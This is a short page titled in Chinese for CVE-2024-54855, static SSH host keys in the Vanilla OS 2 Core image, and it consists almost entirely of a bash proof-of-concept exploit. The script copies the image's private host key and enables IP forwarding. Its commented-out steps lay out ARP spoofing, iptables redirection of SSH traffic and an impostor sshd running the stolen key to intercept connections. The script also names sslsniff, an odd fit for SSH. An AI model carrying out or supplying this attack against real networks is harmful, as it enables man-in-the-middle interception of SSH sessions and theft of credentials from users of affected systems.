CVE-2024-54855 Vanilla OS 2 Core image SSH静态密钥漏洞

#!/bin/bash # CVE-2024-54855 PoC - Vanilla OS 2 Static SSH Key Exploitation # This PoC demonstrates extracting and using static SSH keys for MITM attacks # Step 1: Extract static SSH host keys from Vanilla OS 2 Core image # Assuming image is mounted at /mnt/vanilla-image SSH_KEY_PATH="/mnt/vanilla-image/etc/ssh/ssh_host_rsa_key" SSH_KEY_PUB="/mnt/vanilla-image/etc/ssh/ssh_host_rsa_key.pub" # Step 2: Copy static private key to attacker machine cp "$SSH_KEY_PATH" /tmp/vanilla_static_key chmod 600 /tmp/vanilla_static_key # Step 3: Perform MITM attack using arpspoof and sslsniff echo "[+] Starting MITM attack with static SSH key..." # Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward # Perform ARP spoofing (requires arpspoof tool) # arpspoof -i eth0 -t TARGET_IP GATEWAY_IP & # Step 4: Redirect SSH traffic through attacker # iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222 # Step 5: Use SSH honeypot with static key to intercept connections # sshd -h /tmp/vanilla_static_key -p 2222 echo "[!] Static SSH key successfully extracted and ready for MITM" echo "[!] Any client connecting to affected Vanilla OS systems is vulnerable"